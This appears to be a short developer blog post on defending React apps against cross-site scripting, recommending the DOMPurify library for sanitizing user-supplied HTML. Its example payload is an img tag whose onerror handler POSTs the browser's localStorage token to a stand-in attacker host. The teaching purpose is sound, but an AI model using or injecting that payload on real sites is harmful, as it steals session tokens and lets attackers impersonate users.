Published on

Sanitizing a Cross-Site Scripting Attack

Authors

Sanitizing a Cross-Site Scripting Attack

Sometimes you might want to allow users to supply their own HTML markup to display it on your page. The way you would typically do that in an application is thought setting the InnerHTML property to that input on a given DOM element. I mostly work with React and in my case, the property is called dangerouslySetInnerHTML.

However, we cannot always trust the data provided by the user because that could lead to some pretty bad security vulnerabilities. A typical thing a bad actor could try is to inject some malicious JavaScript in the markup and steal the data stored in your browser.

A common vulnerability is the onerror prop on img tags.

Take a look at the example below:

<img src=?? onerror="fetch('https://malicious-website.com',
     { method: 'POST',
       body: localStorage.getItem('token')
     })"
/>

Here we have an invalid src prop that will cause an error, and the onerror prop will be triggered. It will automatically try and look for a token in the local storage of your browser and send it to some data collection server.

After that this token can be used by somebody to attempt to impersonate you on some websites, perform some actions or transactions on your behalf.

Here's the good news - we can fix that! I recently came across a library called DOMPurify.

DOMPurify sanitizes HTML and prevents XSS attacks. As the creators say :

You can feed DOMPurify with a string full of dirty HTML and it will return a string (unless configured otherwise) with clean HTML. DOMPurify will strip out everything that contains dangerous HTML and thereby prevent XSS attacks and other nastiness. It's also damn bloody fast. We use the technologies the browser provides and turn them into an XSS filter. The faster your browser, the faster DOMPurify will be.

So, all you have to do now is to install it into your project by running npm i dompurify ( or yarn add dompurify if you're using yarn). Then import it into your file and run your data through the sanitize method.

import DOMPurify from 'dompurify'
// your logic to get the untrusted dirtyData from the input
// ...

const cleanData = DOMPurify.sanitize(dirtyData)

And that is it! Thank you for reading, and I wish you happy holidays!